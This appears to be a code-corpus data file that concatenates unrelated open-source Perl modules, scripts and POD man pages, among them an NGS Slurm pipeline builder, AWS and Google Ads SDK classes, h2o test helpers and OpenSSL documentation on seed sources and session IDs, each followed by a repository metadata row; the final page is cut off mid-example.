my ( $task_name, $path_file, $pbs_desc, $target_dir, $log_dir, $pbs_dir, $result_dir, $option, $sh_direct ) = $self->init_parameter( $config, $section );
my $task_dep_pbs_map = $self->get_all_dependent_pbs_map( $config, $section );
# if ($config->{general}{debug}){
# print Dumper($task_dep_pbs_map->{bowtie1_contamination_all_02_align});
# }
my %step_map = %{ get_raw_files( $config, $section ) };
my $task_shell = get_option( $config, $section, "task_shell", "bash" );
#print Dumper(\%step_map);
my $cluster = get_cluster( $config, $section );
my $final_name = $task_name . "_pipeline";
my $final_pbs = $self->get_pbs_filename( $pbs_dir, $final_name );
my $final_log = $self->get_log_filename( $log_dir, $final_name );
my $final_log_desp = $cluster->get_log_description($final_log);
my $summary_name = $task_name . "_summary";
my $report_name = $task_name . "_report";
my $report_pbs = $self->get_pbs_filename( $pbs_dir, $report_name );
my $report_log = $self->get_log_filename( $log_dir, $report_name );
my $report_log_desp = $cluster->get_log_description($report_log);
my $result_list_file = $self->get_file( $result_dir, $task_name, "_expect_result.tsv" );
my $report = $self->open_pbs( $report_pbs, $pbs_desc, $report_log_desp, $path_file, $result_dir );
#Make Summary Figure
my $rtemplate = dirname(__FILE__) . "/summaryResultFiles.R";
my $rfile = $result_dir . "/${summary_name}.r";
open( my $rf, ">$rfile" ) or die "Cannot create $rfile";
open( my $rt, "<$rtemplate" ) or die $!;
print $rf "parFile1='$result_list_file'\n";
while (<$rt>) {
print $rf $_;
}
close($rt);
close($rf);
print $report "R --vanilla --slave -f $rfile \n";
#Make Report
my $rtemplateReport = dirname(__FILE__) . "/MakeReport.R";
my $projectRmd = dirname(__FILE__) . "/ProjectReport.Rmd";
my $taskRmd = dirname(__FILE__) . "/TaskReport.Rmd";
copy( $projectRmd, $result_dir . "/ProjectReport.Rmd" ) or die "Copy failed: $!";
copy( $taskRmd, $result_dir . "/TaskReport.Rmd" ) or die "Copy failed: $!";
my $rfileReport = $result_dir . "/${report_name}.r";
my $task_dir = $target_dir;
$task_dir =~ s/\/sequencetask$//;
open( my $rfReport, ">$rfileReport" ) or die "Cannot create $rfileReport";
open( my $rtReport, "<$rtemplateReport" ) or die $!;
print $rfReport "parFile1='$task_name'\n";
print $rfReport "parFile2='$task_dir'\n";
while (<$rtReport>) {
print $rfReport $_;
}
close($rtReport);
close($rfReport);
print $report "R --vanilla --slave -f $rfileReport \n";
$self->close_pbs( $report, $report_pbs );
open( my $final_submit, ">${final_pbs}.submit" ) or die $!;
my $final = $self->open_pbs( $final_pbs, $pbs_desc, $final_log_desp, $path_file, $pbs_dir );
open( my $result_list, ">$result_list_file" ) or die $!;
print $result_list "StepName\tTaskName\tSampleName\tFileList\tCanFileEmpty\n";
my $pbs_id_map = {};
my $final_pbs_id_map = {};
my $final_index = 0;
for my $step_name ( sort keys %step_map ) {
my @tasks = @{ $step_map{$step_name} };
my $samples = {};
my $taskpbs = {};
my $clears = {};
my $clear_keys = {};
my $count = 0;
for my $task_section (@tasks) {
print $final "# " . $task_section . "\n";
$count = $count + 1;
my $classname = $config->{$task_section}{class};
if ( !defined $classname ) {
print(Dumper(@tasks));
die "$task_section is not a valid task section.";
}
my $cur_task_dep_pbs_map = $task_dep_pbs_map->{$task_section};
my $myclass = instantiate($classname);
my $depend_all = $myclass->{_depend_all};
#print($classname . " = " . $depend_all . "\n");
my $expect_file_map;
eval { $expect_file_map = $myclass->result( $config, $task_section, "(?<!version)\$", 1 ); } or do {
my $e = $@;
die("Something went wrong to get result of section $task_section : $e\n");
};
if ( !$config->{$task_section}{not_clean} ) {
my $clear_map = $myclass->get_clear_map( $config, $task_section );
$clears->{$task_section} = $clear_map;
for my $sample ( sort keys %$clear_map ) {
$clear_keys->{$sample} = 1;
}
}
my $pbs_file_map = $myclass->get_pbs_files( $config, $task_section );
for my $expect_name ( sort keys %$expect_file_map ) {
my $expect_files = $expect_file_map->{$expect_name};
my $expect_file_list = join( ",", @{$expect_files} );
my @canEmpty = ();
for my $expect_file (@$expect_files){
push(@canEmpty, $myclass->can_result_be_empty_file( $config, $task_section, $expect_file) ? "True" : "False");
}
my $canEmptyStr = join(",", @canEmpty);
print $result_list $step_name, "\t", $task_section, "\t", $expect_name, "\t", $expect_file_list, "\t", $canEmptyStr, "\n";
}
for my $sample ( sort keys %{$pbs_file_map} ) {
my $samplepbs = $pbs_file_map->{$sample};
if ( !-e $samplepbs ) {
die "Task " . $task_section . ", file not exists " . $samplepbs . "\n";
}
my $depjid = get_dependent_job_ids( $task_dep_pbs_map, $final_pbs_id_map, $task_section, $task_name, $samplepbs );
$final_index = $final_index + 1;
if ( not defined $expect_file_map->{$sample} ) {
print $final_submit "jid" . $final_index . "=\$(sbatch $depjid " . $samplepbs . " | awk '{print \$NF}') \n";
$final_pbs_id_map->{$samplepbs} = [ "jid" . $final_index, 0 ];
}
else {
my $expect_file = $expect_file_map->{$sample}[0];
if(not defined $expect_file){
print "Found error";
}
print $final_submit "if [[ (1 -eq \$1) || ((! -s $expect_file) && (! -d $expect_file)) ]]; then \n";
print $final_submit " jid" . $final_index . "=\$(sbatch $depjid " . $samplepbs . " | awk '{print \$NF}') \n";
print $final_submit "else \n";
print $final_submit " jid" . $final_index . "=1000000000 \n";
print $final_submit "fi \n";
$final_pbs_id_map->{$samplepbs} = [ "jid" . $final_index, 0 ];
}
print $final "bash $samplepbs \n";
}
#print "task " . $task_section . " ...\n";
$taskpbs->{$task_section} = $pbs_file_map;
for my $sample ( sort keys %$pbs_file_map ) {
$samples->{$sample} = 1;
}
}
#print dumper($expects), "\n";
#print dumper($samples), "\n";
}
close($result_list);
#print(Dumper(%$final_pbs_id_map));
my $alldepids = getAllDependentJobids($final_pbs_id_map);
$final_index = $final_index + 1;
print $final_submit "jid" . $final_index . "=\$(sbatch $alldepids " . $report_pbs . " | awk '{print \$NF}')\n";
close($final_submit);
if ( is_linux() ) {
chmod 0755, "${final_pbs}.submit";
}
print $final "\nbash $report_pbs \n";
$self->close_pbs( $final, $final_pbs );
}
1;
| shengqh/ngsperl | lib/CQS/SequenceTaskSlurmSlim.pm | Perl | apache-2.0 | 10,543 |
package Paws::RDS::DBParameterGroupDetails;
use Moose;
has Marker => (is => 'ro', isa => 'Str');
has Parameters => (is => 'ro', isa => 'ArrayRef[Paws::RDS::Parameter]', request_name => 'Parameter', traits => ['NameInRequest',]);
has _request_id => (is => 'ro', isa => 'Str');
1;
### main pod documentation begin ###
=head1 NAME
Paws::RDS::DBParameterGroupDetails
=head1 ATTRIBUTES
=head2 Marker => Str
An optional pagination token provided by a previous request. If this
parameter is specified, the response includes only records beyond the
marker, up to the value specified by C<MaxRecords>.
=head2 Parameters => ArrayRef[L<Paws::RDS::Parameter>]
A list of Parameter values.
=head2 _request_id => Str
=cut
| ioanrogers/aws-sdk-perl | auto-lib/Paws/RDS/DBParameterGroupDetails.pm | Perl | apache-2.0 | 732 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package hardware::pdu::schleifenbauer::gateway::snmp::mode::components::temperature;
use strict;
use warnings;
use hardware::pdu::schleifenbauer::gateway::snmp::mode::components::resources qw($oid_pdumeasuresEntry $oid_deviceName $mapping);
sub load {}
sub check_temperature {
my ($self, %options) = @_;
my $description = $options{device_name};
$description .= '.' . ((defined($options{sensor_name}) && $options{sensor_name} ne '') ? $options{sensor_name} : $options{num});
next if ($self->check_filter(section => 'temperature', instance => $options{instance}, name => $description));
$self->{components}->{temperature}->{total}++;
$self->{output}->output_add(long_msg => sprintf("temperature '%s' is %s C [instance = %s]",
$description, $options{value}, $options{instance}));
my ($exit, $warn, $crit, $checked) = $self->get_severity_numeric(section => 'temperature', instance => $options{instance}, name => $description, value => $options{value});
if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) {
$self->{output}->output_add(severity => $exit,
short_msg => sprintf("Temperature '%s' is %s C", $description, $options{value}));
}
$self->{output}->perfdata_add(
label => 'temperature', unit => 'C',
nlabel => 'hardware.sensor.temperature.celsius',
instances => [$options{device_name}, (defined($options{sensor_name}) && $options{sensor_name} ne '') ? $options{sensor_name} : $options{num}],
value => $options{value},
warning => $warn,
critical => $crit,
);
}
sub check {
my ($self) = @_;
$self->{output}->output_add(long_msg => "Checking temperature");
$self->{components}->{temperature} = { name => 'temperature', total => 0, skip => 0 };
return if ($self->check_filter(section => 'temperature'));
foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$oid_deviceName}})) {
$oid =~ /^$oid_deviceName.(.*)$/;
my $instance = $1;
my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$oid_pdumeasuresEntry}, instance => $instance);
for (my $i = 1; $i <= 16; $i++) {
next if (!defined($result->{'sensor' . $i . 'Type'}) || $result->{'sensor' . $i . 'Type'} !~ /T/);
check_temperature($self,
instance => $instance,
device_name => $self->{results}->{$oid_deviceName}->{$oid},
num => $i,
value => $result->{'sensor' . $i . 'Value'},
sensor_name => $result->{'sensor' . $i . 'Name'},
);
}
check_temperature($self,
instance => $instance,
device_name => $self->{results}->{$oid_deviceName}->{$oid},
num => 0,
value => $result->{pduIntTemperature},
sensor_name => 'Internal',
) if ($result->{pduIntTemperature} != 0);
check_temperature($self,
instance => $instance,
device_name => $self->{results}->{$oid_deviceName}->{$oid},
num => 0,
value => $result->{pduExtTemperature},
sensor_name => 'External',
) if ($result->{pduExtTemperature} != 0);
}
}
1;
| centreon/centreon-plugins | hardware/pdu/schleifenbauer/gateway/snmp/mode/components/temperature.pm | Perl | apache-2.0 | 4,121 |
=head1 TITLE
Legacy Perl $pkg'var should die
=head1 VERSION
Maintainer: Nathan Wiger <nate@wiger.org>
Date: 8 Aug 2000
Last Modified: 15 Sep 2000
Mailing List: perl6-language@perl.org
Number: 71
Version: 2
Status: Frozen
=head1 ABSTRACT
Perl used to use $pkg'var instead of the modern $pkg::var. This is still
in Perl 5. It's gotta go.
=head1 DESCRIPTION
See above.
=head1 IMPLEMENTATION
See above.
=head1 NOTES ON FREEZE
Damian worried that this would mean Klingon.pm would no longer be
portable to Perl 6. He failed to convince other people on the list that
this was actually a bad thing. ;-) (kidding!!)
=head1 REFERENCES
Camel-3 p. 60 reminded me of this.
| autarch/perlweb | docs/dev/perl6/rfc/71.pod | Perl | apache-2.0 | 687 |
# Copyright 2020, Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
package Google::Ads::GoogleAds::V9::Common::FrequencyCapEntry;
use strict;
use warnings;
use base qw(Google::Ads::GoogleAds::BaseEntity);
use Google::Ads::GoogleAds::Utils::GoogleAdsHelper;
sub new {
my ($class, $args) = @_;
my $self = {
cap => $args->{cap},
key => $args->{key}};
# Delete the unassigned fields in this object for a more concise JSON payload
remove_unassigned_fields($self, $args);
bless $self, $class;
return $self;
}
1;
| googleads/google-ads-perl | lib/Google/Ads/GoogleAds/V9/Common/FrequencyCapEntry.pm | Perl | apache-2.0 | 1,041 |
package t::Util;
use strict;
use warnings;
use Digest::MD5 qw(md5_hex);
use File::Temp qw(tempfile);
use Net::EmptyPort qw(check_port empty_port);
use POSIX ":sys_wait_h";
use Path::Tiny;
use Scope::Guard qw(scope_guard);
use Test::More;
use Time::HiRes qw(sleep);
use base qw(Exporter);
our @EXPORT = qw(ASSETS_DIR DOC_ROOT bindir server_features exec_unittest exec_mruby_unittest spawn_server spawn_h2o empty_ports create_data_file md5_file prog_exists run_prog openssl_can_negotiate curl_supports_http2 run_with_curl run_with_h2get);
use constant ASSETS_DIR => 't/assets';
use constant DOC_ROOT => ASSETS_DIR . "/doc_root";
sub bindir {
$ENV{H2O_VALGRIND} || $ENV{BINARY_DIR} || '.';
}
sub server_features {
open my $fh, "-|", bindir() . "/h2o", "--version"
or die "failed to invoke: h2o --version:$!";
<$fh>; # skip h2o version
+{
map { chomp($_); split /:/, $_, 2 } <$fh>
};
}
sub exec_unittest {
my $base = shift;
my $fn = bindir() . "/t-00unit-$base.t";
plan skip_all => "unit test:$base does not exist"
if ! -e $fn;
if (prog_exists("memcached")) {
my $port = empty_port();
pipe my $rfh, my $wfh
or die "pipe failed:$!";
my $pid = fork;
die "fork failed:$!"
unless defined $pid;
if ($pid == 0) {
# child process
close $wfh;
POSIX::dup2($rfh->fileno, 5)
or die "dup2 failed:$!";
exec qw(share/h2o/kill-on-close -- memcached -l 127.0.0.1 -p), $port;
exit 1;
}
close $rfh;
POSIX::dup($wfh->fileno)
or die "dup failed:$!";
sleep 1;
if (waitpid($pid, WNOHANG) == $pid) {
die "failed to launch memcached";
}
$ENV{MEMCACHED_PORT} = $port;
}
exec $fn;
die "failed to exec $fn:$!";
}
sub exec_mruby_unittest {
plan skip_all => 'mruby support is off'
unless server_features()->{mruby};
my $test_dir = path('t/00unit.mruby');
my $bin = path(bindir(), 'mruby/host/bin/mruby');
unless (-e $bin) {
die "unit test: mruby binary $bin does not exist";
}
my $k = 0;
$test_dir->visit(sub {
my ($path) = @_;
return unless $path =~ /\.rb$/;
my $fn = "$bin $path";
my $output = `$fn`;
# parse mruby test output
$output =~ /# Running tests:\n\n([SFE\.]+)\n/
or die "cannot parse test output for $path";
my ($i, $j) = (0, 0);
my @results = map { +{ type => $_, index => ++$i, failed => ($_ eq 'F' || $_ eq 'E') } } split(//, $1);
while ($output =~ /\d\) (Skipped|Failure|Error):\n([^\n]+)/g) {
my ($type, $detail) = (substr($1, 0, 1), $2);
while ($results[$j]->{type} ne $type) { $j++; }
$results[$j++]->{detail} = $detail;
}
# print TAP compatible output
printf("%s %s\n", $path, '.' x (51 - length($path)));
for my $r (@results) {
printf(" %s %d - %s\n", $r->{failed} ? 'not ok' : 'ok', $r->{index}, $r->{detail} || '');
printf STDERR ("# Error - %s\n", $r->{detail}) if $r->{failed};
}
printf(" 1..%d\n", scalar(@results));
printf("%s %d - %s\n", (grep { $_->{failed} } @results) ? 'not ok' : 'ok', ++$k, $path);
}, +{ recurse => 1 });
printf("1..%d\n", $k);
}
# spawns a child process and returns a guard object that kills the process when destroyed
sub spawn_server {
my %args = @_;
my $ppid = $$;
my $pid = fork;
die "fork failed:$!"
unless defined $pid;
if ($pid != 0) {
print STDERR "spawning $args{argv}->[0]... ";
if ($args{is_ready}) {
while (1) {
if ($args{is_ready}->()) {
print STDERR "done\n";
last;
}
if (waitpid($pid, WNOHANG) == $pid) {
die "server failed to start (got $?)\n";
}
sleep 0.1;
}
}
my $guard = scope_guard(sub {
return if $$ != $ppid;
print STDERR "killing $args{argv}->[0]... ";
my $sig = 'TERM';
Retry:
if (kill $sig, $pid) {
my $i = 0;
while (1) {
if (waitpid($pid, WNOHANG) == $pid) {
print STDERR "killed (got $?)\n";
last;
}
if ($i++ == 100) {
if ($sig eq 'TERM') {
print STDERR "failed, sending SIGKILL... ";
$sig = 'KILL';
goto Retry;
}
print STDERR "failed, continuing anyways\n";
last;
}
sleep 0.1;
}
} else {
print STDERR "no proc? ($!)\n";
}
});
return wantarray ? ($guard, $pid) : $guard;
}
# child process
exec @{$args{argv}};
die "failed to exec $args{argv}->[0]:$!";
}
# returns a hash containing `port`, `tls_port`, `guard`
sub spawn_h2o {
my ($conf) = @_;
my @opts;
# decide the port numbers
my ($port, $tls_port) = empty_ports(2, { host => "0.0.0.0" });
# setup the configuration file
my ($conffh, $conffn) = tempfile(UNLINK => 1);
$conf = $conf->($port, $tls_port)
if ref $conf eq 'CODE';
if (ref $conf eq 'HASH') {
@opts = @{$conf->{opts}}
if $conf->{opts};
$conf = $conf->{conf};
}
print $conffh <<"EOT";
$conf
listen:
host: 0.0.0.0
port: $port
listen:
host: 0.0.0.0
port: $tls_port
ssl:
key-file: examples/h2o/server.key
certificate-file: examples/h2o/server.crt
EOT
# spawn the server
my ($guard, $pid) = spawn_server(
argv => [ bindir() . "/h2o", "-c", $conffn, @opts ],
is_ready => sub {
check_port($port) && check_port($tls_port);
},
);
my $ret = {
port => $port,
tls_port => $tls_port,
guard => $guard,
pid => $pid,
conf_file => $conffn,
};
return $ret;
}
sub empty_ports {
my ($n, @ep_args) = @_;
my @ports;
while (@ports < $n) {
my $t = empty_port(@ep_args);
push @ports, $t
unless grep { $_ == $t } @ports;
}
return @ports;
}
sub create_data_file {
my $sz = shift;
my ($fh, $fn) = tempfile(UNLINK => 1);
print $fh '0' x $sz;
close $fh;
return $fn;
}
sub md5_file {
my $fn = shift;
open my $fh, "<", $fn
or die "failed to open file:$fn:$!";
local $/;
return md5_hex(join '', <$fh>);
}
sub prog_exists {
my $prog = shift;
system("which $prog > /dev/null 2>&1") == 0;
}
sub run_prog {
my $cmd = shift;
my ($tempfh, $tempfn) = tempfile(UNLINK => 1);
my $stderr = `$cmd 2>&1 > $tempfn`;
my $stdout = do { local $/; <$tempfh> };
return ($stderr, $stdout);
}
sub openssl_can_negotiate {
my $openssl_ver = `openssl version`;
$openssl_ver =~ /^\S+\s(\d+)\.(\d+)\.(\d+)/
or die "cannot parse OpenSSL version: $openssl_ver";
$openssl_ver = $1 * 10000 + $2 * 100 + $3;
return $openssl_ver >= 10001;
}
sub curl_supports_http2 {
return !! (`curl --version` =~ /^Features:.*\sHTTP2(?:\s|$)/m);
}
sub run_with_curl {
my ($server, $cb) = @_;
plan skip_all => "curl not found"
unless prog_exists("curl");
subtest "http/1" => sub {
$cb->("http", $server->{port}, "curl");
};
subtest "https/1" => sub {
my $cmd = "curl --insecure";
$cmd .= " --http1.1"
if curl_supports_http2();
$cb->("https", $server->{tls_port}, $cmd);
};
subtest "https/2" => sub {
plan skip_all => "curl does not support HTTP/2"
unless curl_supports_http2();
$cb->("https", $server->{tls_port}, "curl --insecure --http2");
};
}
sub run_with_h2get {
my ($server, $script) = @_;
plan skip_all => "h2get not found"
unless prog_exists($ENV{"H2O_ROOT"}."/h2get_bin/h2get");
my ($scriptfh, $scriptfn) = tempfile(UNLINK => 1);
print $scriptfh $script;
close($scriptfh);
return run_prog($ENV{"H2O_ROOT"}."/h2get_bin/h2get $scriptfn https://127.0.0.1:$server->{tls_port}");
}
1;
| yannick/h2o | t/Util.pm | Perl | mit | 8,349 |
package DDG::Goodie::Palindrome;
# ABSTRACT: Return if the a string is a palindrome, formatted requests:
# 'is <string> a[n] palindrome[?]' or 'isPalindrome <string>'
use DDG::Goodie;
triggers any => 'palindrome';
zci is_cached => 1;
primary_example_queries 'is a dank, sad nap. eels sleep and ask nada. a palindrome?';
secondary_example_queries 'is foo a palindrome?', 'is dad a palindrome?';
description 'check if a given string is a palindrome';
name 'Palindrome';
code_url 'https://github.com/duckduckgo/zeroclickinfo-goodies/blob/master/lib/DDG/Goodie/Palindrome.pm';
category 'language';
topics 'words_and_games';
handle query => sub {
#Remove the trigger text from the query.
return unless /^(?:is\s+|)(.*?)\s+an?\s*palindrome\??$/i;
my $palindrome = $1;
my $is_palindrome = 0;
# Clean up.
my $clean_palindrome = lc $palindrome;
$clean_palindrome =~ s/[^a-z0-9]+//g;
$is_palindrome = 1 if $clean_palindrome eq scalar reverse $clean_palindrome;
#Check to see if it is a palindrome.
return $is_palindrome ? qq("$palindrome" is a palindrome.) : qq("$palindrome" is not a palindrome.);
};
1;
| Acidburn0zzz/zeroclickinfo-goodies | lib/DDG/Goodie/Palindrome.pm | Perl | apache-2.0 | 1,119 |
package Paws::CloudHSMv2::DescribeBackupsResponse;
use Moose;
has Backups => (is => 'ro', isa => 'ArrayRef[Paws::CloudHSMv2::Backup]');
has NextToken => (is => 'ro', isa => 'Str');
has _request_id => (is => 'ro', isa => 'Str');
### main pod documentation begin ###
=head1 NAME
Paws::CloudHSMv2::DescribeBackupsResponse
=head1 ATTRIBUTES
=head2 Backups => ArrayRef[L<Paws::CloudHSMv2::Backup>]
A list of backups.
=head2 NextToken => Str
An opaque string that indicates that the response contains only a
subset of backups. Use this value in a subsequent C<DescribeBackups>
request to get more backups.
=head2 _request_id => Str
=cut
1; | ioanrogers/aws-sdk-perl | auto-lib/Paws/CloudHSMv2/DescribeBackupsResponse.pm | Perl | apache-2.0 | 658 |
#!/usr/bin/env perl
# Author: Matt DeJongh @ Hope College, Holland, MI
use strict;
use warnings;
use Bio::KBase::workspace::ScriptHelpers qw(printObjectInfo get_ws_client workspace workspaceURL parseObjectMeta parseWorkspaceMeta printObjectMeta);
use Bio::KBase::fbaModelServices::ScriptHelpers qw(fbaws get_fba_client runFBACommand universalFBAScriptCode getToken);
use Bio::KBase::ObjectAPI::utilities qw(LOADTABLE);
use File::Basename;
use POSIX qw/strftime/;
#Defining globals describing behavior
my $primaryArgs = ["RegPrecise regulome flat file","Genome ID"];
my $servercommand = "import_regulome";
my $script = "fba-importregulome";
my $translation = {
"Genome ID" => "genome_id",
workspace => "workspace",
genomews => "genome_workspace",
sourceid => "source_id",
sourcedate => "source_date",
ignoreerrors => "ignore_errors",
regulome => "regulome"
};
my $manpage =
"
NAME
fba-importregulome
DESCRIPTION
Import a RegPrecise regulome from a flat file and save the results as a Regulome object in a workspace.
The flat file should be downloaded from RegPrecise's genome page, using the 'Download' link for 'Regulated Genes'
in Tab delimited format. See http://regprecise.lbl.gov/RegPrecise/genome.jsp?genome_id=116 for an example.
The Genome ID will be used to map the locus tags to feature ids.
EXAMPLES
fba-importregulome rsp.regulons 'kb|g.629'
SEE ALSO
fba-importexpression
AUTHORS
Matt DeJongh, Shinnosuke Kondo
";
#Defining usage and options
my $specs = [
[ 'workspace|w:s', 'Workspace to save imported regulome in', { "default" => fbaws() } ],
[ 'genomews|g:s', 'Workspace with genome' ],
[ 'sourceid:s', 'ID of the source'],
[ 'sourcedate|d:s', 'Date of the source', { "default", => strftime("%Y-%m-%d", localtime)}],
[ 'regulome|r:s', "Name for the imported regulome" ]
];
my ($opt,$params) = universalFBAScriptCode($specs,$script,$primaryArgs,$translation, $manpage);
if (!-e $opt->{"RegPrecise regulome flat file"}) {
print "Could not find RegPrecise input file!\n";
exit();
}
# load the regulome data
my $data = Bio::KBase::ObjectAPI::utilities::LOADFILE($opt->{"RegPrecise regulome flat file"},"\t",0);
my ($operon, $regulon, $regulons);
foreach my $line (@$data) {
if ($line =~ /^# TF - (.+)/) {
# starting a new transcription factor, so save any data already accumulated
if (defined $regulon) {
push @$regulons, $regulon;
$regulon = {};
}
my @parsed = split(/\s*:\s*/,$1);
# now process the new transcription factor
$regulon->{"transcription_factor"} = { "locus" => $parsed[1], "name" => $parsed[0] };
if (@parsed > 2) {
$regulon->{"sign"} = $parsed[2];
my @effectors;
chomp($parsed[3]);
my @effectors_info = split(/\s*\|\s*/,$parsed[3]);
foreach my $effector_info (@effectors_info) {
my ($effector_name, $class) = split(/\s*;\s*/, $effector_info);
push @effectors, {"name" => $effector_name, "class" => $class};
}
$regulon->{"effectors"} = \@effectors;
} else {
$regulon->{"effectors"} = [];
$regulon->{"sign"} = "";
}
}
elsif ($line =~ /^(\w+)\s+(\w+)\s+(\w+)/) {
push @$operon, { "locus" => $2, "name" => $3 };
}
elsif ($line =~/^\s*$/ && scalar @$operon > 0) {
push @{$regulon->{"operons"}}, $operon;
$operon = [];
}
}
# Add them at the end.
push @{$regulon->{"operons"}}, $operon;
push @$regulons, $regulon;
$params->{"regulons"} = $regulons;
#Calling the server
my $output = runFBACommand($params,$servercommand,$opt);
#Checking output and report results
if (!defined($output)) {
print "Regulome import failed!\n";
} else {
print "Regulome import successful:\n";
printObjectInfo($output);
}
| kbase/KBaseFBAModeling | scripts/fba-importregulome.pl | Perl | mit | 3,733 |
=pod
=head1 NAME
EVP_RAND-SEED-SRC - The randomness seed source EVP_RAND implementation
=head1 DESCRIPTION
Support for deterministic random number generator seeding through the
B<EVP_RAND> API.
The seed sources used are specified at the time OpenSSL is configured for
building using the B<--with-rand-seed=> option. By default, operating system
randomness sources are used.
=head2 Identity
"SEED-SRC" is the name for this implementation; it can be used with the
EVP_RAND_fetch() function.
=head2 Supported parameters
The supported parameters are:
=over 4
=item "state" (B<OSSL_RAND_PARAM_STATE>) <integer>
=item "strength" (B<OSSL_RAND_PARAM_STRENGTH>) <unsigned integer>
=item "max_request" (B<OSSL_RAND_PARAM_MAX_REQUEST>) <unsigned integer>
These parameters work as described in L<EVP_RAND(3)/PARAMETERS>.
=back
=head1 NOTES
A context for the seed source can be obtained by calling:
EVP_RAND *rand = EVP_RAND_fetch(NULL, "SEED-SRC", NULL);
EVP_RAND_CTX *rctx = EVP_RAND_CTX_new(rand);
=head1 EXAMPLES
EVP_RAND *rand;
EVP_RAND_CTX *seed, *rctx;
unsigned char bytes[100];
OSSL_PARAM params[2], *p = params;
unsigned int strength = 128;
/* Create a seed source */
rand = EVP_RAND_fetch(NULL, "SEED-SRC", NULL);
seed = EVP_RAND_CTX_new(rand, NULL);
EVP_RAND_free(rand);
/* Feed this into a DRBG */
rand = EVP_RAND_fetch(NULL, "CTR-DRBG", NULL);
rctx = EVP_RAND_CTX_new(rand, seed);
EVP_RAND_free(rand);
/* Configure the DRBG */
*p++ = OSSL_PARAM_construct_utf8_string(OSSL_DRBG_PARAM_CIPHER,
SN_aes_256_ctr, 0);
*p = OSSL_PARAM_construct_end();
EVP_RAND_instantiate(rctx, strength, 0, NULL, 0, params);
EVP_RAND_generate(rctx, bytes, sizeof(bytes), strength, 0, NULL, 0);
EVP_RAND_CTX_free(rctx);
EVP_RAND_CTX_free(seed);
=head1 SEE ALSO
L<EVP_RAND(3)>,
L<EVP_RAND(3)/PARAMETERS>
=head1 COPYRIGHT
Copyright 2020-2021 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| jens-maus/amissl | openssl/doc/man7/EVP_RAND-SEED-SRC.pod | Perl | bsd-3-clause | 2,211 |
=pod
=head1 NAME
SSL_CTX_set_generate_session_id, SSL_set_generate_session_id, SSL_has_matching_session_id - manipulate generation of SSL session IDs (server only)
=head1 SYNOPSIS
#include <openssl/ssl.h>
typedef int (*GEN_SESSION_CB)(const SSL *ssl, unsigned char *id,
unsigned int *id_len);
int SSL_CTX_set_generate_session_id(SSL_CTX *ctx, GEN_SESSION_CB cb);
int SSL_set_generate_session_id(SSL *ssl, GEN_SESSION_CB, cb);
int SSL_has_matching_session_id(const SSL *ssl, const unsigned char *id,
unsigned int id_len);
=head1 DESCRIPTION
SSL_CTX_set_generate_session_id() sets the callback function for generating
new session ids for SSL/TLS sessions for B<ctx> to be B<cb>.
SSL_set_generate_session_id() sets the callback function for generating
new session ids for SSL/TLS sessions for B<ssl> to be B<cb>.
SSL_has_matching_session_id() checks, whether a session with id B<id>
(of length B<id_len>) is already contained in the internal session cache
of the parent context of B<ssl>.
=head1 NOTES
When a new session is established between client and server, the server
generates a session id. The session id is an arbitrary sequence of bytes.
The length of the session id is between 1 and 32 bytes. The session id is not
security critical but must be unique for the server. Additionally, the session id is
transmitted in the clear when reusing the session so it must not contain
sensitive information.
Without a callback being set, an OpenSSL server will generate a unique
session id from pseudo random numbers of the maximum possible length.
Using the callback function, the session id can be changed to contain
additional information like e.g. a host id in order to improve load balancing
or external caching techniques.
The callback function receives a pointer to the memory location to put
B<id> into and a pointer to the maximum allowed length B<id_len>. The
buffer at location B<id> is only guaranteed to have the size B<id_len>.
The callback is only allowed to generate a shorter id and reduce B<id_len>;
the callback B<must never> increase B<id_len> or write to the location
B<id> exceeding the given limit.
The location B<id> is filled with 0x00 before the callback is called, so the
callback may only fill part of the possible length and leave B<id_len>
untouched while maintaining reproducibility.
Since the sessions must be distinguished, session ids must be unique.
Without the callback a random number is used, so that the probability
of generating the same session id is extremely small (2^256 for SSLv3/TLSv1).
In order to assure the uniqueness of the generated session id, the callback must call
SSL_has_matching_session_id() and generate another id if a conflict occurs.
If an id conflict is not resolved, the handshake will fail.
If the application codes e.g. a unique host id, a unique process number, and
a unique sequence number into the session id, uniqueness could easily be
achieved without randomness added (it should however be taken care that
no confidential information is leaked this way). If the application can not
guarantee uniqueness, it is recommended to use the maximum B<id_len> and
fill in the bytes not used to code special information with random data
to avoid collisions.
SSL_has_matching_session_id() will only query the internal session cache,
not the external one. Since the session id is generated before the
handshake is completed, it is not immediately added to the cache. If
another thread is using the same internal session cache, a race condition
can occur in that another thread generates the same session id.
Collisions can also occur when using an external session cache, since
the external cache is not tested with SSL_has_matching_session_id()
and the same race condition applies.
The callback must return 0 if it cannot generate a session id for whatever
reason and return 1 on success.
=head1 EXAMPLES
The callback function listed will generate a session id with the
server id given, and will fill the rest with pseudo random bytes:
const char session_id_prefix = "www-18";
#define MAX_SESSION_ID_ATTEMPTS 10
static int generate_session_id(const SSL *ssl, unsigned char *id,
unsigned int *id_len)
{
unsigned int count = 0;
do {
RAND_pseudo_bytes(id, *id_len);
/*
* Prefix the session_id with the required prefix. NB: If our
* prefix is too long, clip it - but there will be worse effects
* anyway, eg. the server could only possibly create 1 session
* ID (ie. the prefix!) so all future session negotiations will
* fail due to conflicts.
*/
memcpy(id, session_id_prefix,
